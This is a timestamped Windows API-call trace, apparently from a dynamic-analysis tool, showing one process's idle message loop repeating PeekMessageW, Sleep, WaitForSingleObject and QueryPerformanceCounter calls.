[0148.424] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.425] Sleep (dwMilliseconds=0x64) [0148.439] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.439] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770846250) returned 1 [0148.439] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770846389) returned 1 [0148.440] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.441] Sleep (dwMilliseconds=0x64) [0148.455] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.455] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770900365) returned 1 [0148.455] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770900565) returned 1 [0148.456] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.456] Sleep (dwMilliseconds=0x64) [0148.471] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.471] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=770953139) returned 1 [0148.471] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=770953337) returned 1 [0148.471] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.472] Sleep (dwMilliseconds=0x64) [0148.512] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.512] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771095431) returned 1 [0148.512] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771095579) returned 1 [0148.513] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.513] Sleep (dwMilliseconds=0x64) [0148.517] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.518] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771113145) returned 1 [0148.518] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771113292) returned 1 [0148.518] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.518] Sleep (dwMilliseconds=0x64) [0148.534] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.534] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771170760) returned 1 [0148.534] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771170912) returned 1 [0148.535] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.535] Sleep (dwMilliseconds=0x64) [0148.549] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.549] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771219774) returned 1 [0148.549] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771219973) returned 1 [0148.549] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.550] Sleep (dwMilliseconds=0x64) [0148.564] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.564] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771272805) returned 1 [0148.564] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771272945) returned 1 [0148.565] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.565] Sleep (dwMilliseconds=0x64) [0148.580] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.580] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771326801) returned 1 [0148.580] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771326940) returned 1 [0148.581] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.581] Sleep (dwMilliseconds=0x64) [0148.595] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.596] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771379849) returned 1 [0148.596] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771380048) returned 1 [0148.596] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.597] Sleep (dwMilliseconds=0x64) [0148.611] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.611] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771433002) returned 1 [0148.611] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771433201) returned 1 [0148.612] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.612] Sleep (dwMilliseconds=0x64) [0148.627] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.627] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771488431) returned 1 [0148.627] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771488612) returned 1 [0148.628] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.628] Sleep (dwMilliseconds=0x64) [0148.642] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.642] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771540293) returned 1 [0148.643] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771540477) returned 1 [0148.643] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.644] Sleep (dwMilliseconds=0x64) [0148.658] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.658] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771593041) returned 1 [0148.658] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771593227) returned 1 [0148.659] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.659] Sleep (dwMilliseconds=0x64) [0148.673] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.673] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771646162) returned 1 [0148.673] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771646302) returned 1 [0148.674] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.675] Sleep (dwMilliseconds=0x64) [0148.689] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.689] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771699420) returned 1 [0148.689] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771699560) returned 1 [0148.690] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.690] Sleep (dwMilliseconds=0x64) [0148.705] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.705] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771752911) returned 1 [0148.705] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771753050) returned 1 [0148.705] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.706] Sleep (dwMilliseconds=0x64) [0148.720] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.720] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771806159) returned 1 [0148.720] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771806298) returned 1 [0148.721] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.721] Sleep (dwMilliseconds=0x64) [0148.736] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.736] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=771861210) returned 1 [0148.736] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=771861395) returned 1 [0148.737] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.737] Sleep (dwMilliseconds=0x64) [0148.787] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.787] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772034252) returned 1 [0148.787] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772034442) returned 1 [0148.788] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.789] Sleep (dwMilliseconds=0x64) [0148.798] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.798] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772072566) returned 1 [0148.798] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772072707) returned 1 [0148.799] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.799] Sleep (dwMilliseconds=0x64) [0148.814] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.814] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772127042) returned 1 [0148.814] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772127238) returned 1 [0148.815] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.815] Sleep (dwMilliseconds=0x64) [0148.829] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.830] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772179530) returned 1 [0148.830] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772179678) returned 1 [0148.830] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.830] Sleep (dwMilliseconds=0x64) [0148.846] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.846] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772234631) returned 1 [0148.846] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772234779) returned 1 [0148.846] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.847] Sleep (dwMilliseconds=0x64) [0148.861] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.861] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772286042) returned 1 [0148.861] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772286189) returned 1 [0148.861] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.862] Sleep (dwMilliseconds=0x64) [0148.876] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.876] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772339256) returned 1 [0148.876] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772339406) returned 1 [0148.877] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.877] Sleep (dwMilliseconds=0x64) [0148.892] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.893] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772395021) returned 1 [0148.893] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772395170) returned 1 [0148.893] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.894] Sleep (dwMilliseconds=0x64) [0148.907] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.907] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772445963) returned 1 [0148.908] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772446110) returned 1 [0148.908] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.909] Sleep (dwMilliseconds=0x64) [0148.924] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.924] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772501358) returned 1 [0148.924] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772501559) returned 1 [0148.924] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.925] Sleep (dwMilliseconds=0x64) [0148.939] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.939] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772553988) returned 1 [0148.939] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772554155) returned 1 [0148.940] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.940] Sleep (dwMilliseconds=0x64) [0148.955] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.955] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772608578) returned 1 [0148.955] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772608747) returned 1 [0148.956] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.956] Sleep (dwMilliseconds=0x64) [0148.973] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.973] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772668895) returned 1 [0148.973] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772669051) returned 1 [0148.973] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.974] Sleep (dwMilliseconds=0x64) [0148.985] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0148.986] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772712755) returned 1 [0148.986] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772712913) returned 1 [0148.986] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0148.987] Sleep (dwMilliseconds=0x64) [0149.001] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.001] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772766133) returned 1 [0149.001] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772766333) returned 1 [0149.002] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.002] Sleep (dwMilliseconds=0x64) [0149.017] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.017] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772820007) returned 1 [0149.017] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772820165) returned 1 [0149.017] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.018] Sleep (dwMilliseconds=0x64) [0149.032] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.032] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772872768) returned 1 [0149.032] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772872968) returned 1 [0149.033] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.033] Sleep (dwMilliseconds=0x64) [0149.048] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.048] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772926969) returned 1 [0149.048] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772927128) returned 1 [0149.049] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.049] Sleep (dwMilliseconds=0x64) [0149.065] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.065] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=772985462) returned 1 [0149.065] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=772985618) returned 1 [0149.066] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.066] Sleep (dwMilliseconds=0x64) [0149.080] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.080] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773035775) returned 1 [0149.080] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773035975) returned 1 [0149.081] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.081] Sleep (dwMilliseconds=0x64) [0149.095] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.095] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773086003) returned 1 [0149.095] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773086201) returned 1 [0149.095] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.096] Sleep (dwMilliseconds=0x64) [0149.110] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.110] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773139262) returned 1 [0149.110] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773139441) returned 1 [0149.111] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.111] Sleep (dwMilliseconds=0x64) [0149.126] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.126] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773193127) returned 1 [0149.126] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773193309) returned 1 [0149.127] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.127] Sleep (dwMilliseconds=0x64) [0149.142] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.142] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773246250) returned 1 [0149.142] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773246425) returned 1 [0149.142] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.143] Sleep (dwMilliseconds=0x64) [0149.157] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.157] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773299387) returned 1 [0149.157] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773299611) returned 1 [0149.158] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.158] Sleep (dwMilliseconds=0x64) [0149.173] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.173] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773354772) returned 1 [0149.173] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773354940) returned 1 [0149.174] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.174] Sleep (dwMilliseconds=0x64) [0149.188] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.188] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773405786) returned 1 [0149.188] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773405953) returned 1 [0149.189] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.189] Sleep (dwMilliseconds=0x64) [0149.204] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.204] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773459342) returned 1 [0149.204] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773459520) returned 1 [0149.205] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.205] Sleep (dwMilliseconds=0x64) [0149.219] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.220] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773512785) returned 1 [0149.220] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773512956) returned 1 [0149.220] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.221] Sleep (dwMilliseconds=0x64) [0149.235] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.235] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773565946) returned 1 [0149.235] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773566221) returned 1 [0149.236] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.236] Sleep (dwMilliseconds=0x64) [0149.251] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.251] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773619219) returned 1 [0149.251] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773619418) returned 1 